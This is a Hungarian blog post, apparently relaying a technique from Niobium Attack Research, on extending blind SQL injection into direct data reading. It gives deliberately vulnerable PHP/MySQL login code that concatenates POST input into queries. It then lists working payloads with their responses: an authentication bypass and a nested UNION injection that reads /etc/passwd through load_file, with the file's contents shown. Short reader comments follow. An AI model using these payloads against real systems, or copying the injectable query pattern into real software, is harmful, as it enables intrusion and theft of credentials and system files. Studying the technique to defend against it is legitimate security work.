A Niobium Attack Research volt olyan kedves, és megosztott velem (és veletek, vagyis velünk ;) egy érdekes ötletet a vak SQL injection támadások kiterjesztésére, a vakság "meggyógyítására". Az alább olvasható leírás az ő leírásuk általam megszerkesztett változata:
Az alant elterülő - megtörtént eset alapján összeállított - PoC alapból PHP blind injectet tesz lehetővé, de kis reszeléssel kihozható belőle közvetlen adatolvasás is:
$conn = mysql_connect('127.0.0.1','root','') or die('connfail');
mysql_select_db('teszt', $conn) or die('selectdbfail');
$res = mysql_query('SELECT `id` FROM `auth` WHERE `username`=\''.
$_POST['username'].'\' AND `password`= \''.md5($_POST['password']).
'\'', $conn) or die(mysql_error($conn));
if(mysql_num_rows($res) == 0)
{
die('loginfail');
}
else
{
list($id) = mysql_fetch_array($res);
$res = mysql_query('SELECT `realname`,`email` FROM '.
'`userdata` WHERE `id`='.$id, $conn) or die(mysql_error($conn));
list($realname, $email) = mysql_fetch_array($res);
print "Hello $realname ($email)";
}
Emellé létrehozzuk a táblákat:
mysql> create table auth(id int(4) primary key not null auto_increment,
-> username varchar(16), password varchar(32));
Query OK, 0 rows affected (0.01 sec)
mysql> create table userdata (id int(4), realname varchar(64),
-> email varchar(128));
Query OK, 0 rows affected (0.02 sec)
mysql> insert into auth values ('', 'johndoe', md5('asdfghjkl123'));
Query OK, 1 row affected, 1 warning (0.00 sec)
mysql> insert into userdata values('1', 'John Doe', 'doe@john.com');
Query OK, 1 row affected (0.00 sec)
Nézzük mire mit kapunk:
>> username=johndoe&password=asdfghjkl123
<< Hello John Doe (doe@john.com)
Sikertelen login:
>> username=x&password=x
<< loginfail
>> username='&password=x
<< You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '9dd4e461268c8034f5c8564e155c67a6'' at line 1
>> username=' or 1 -- -
<< Hello John Doe (doe@john.com)
>> username=noSuchUser' union select -1 -- -&password=x
<< Hello ()
>> username=noSuchUser' union select x -- -&password=x<< Unknown column 'x' in 'field list'
>> username=noSuchUser' union select 'x' -- -&password=x<< Unknown column 'x' in 'where clause'
>> username=noSuchUser' union select '0 union select load_file("/etc/passwd"),1 ' -- -&password=x<< Hello root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/bin/shbin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/shsync:x:4:65534:sync:/bin:/bin/sync [ ... ]






Yv@n 2012.01.21. 05:42:00
No persze nyilván db-ben parancsokkal még nézelődhet ettől.
_2501 2012.01.21. 11:06:54
RobÚr 2012.01.25. 16:37:40
Köszi!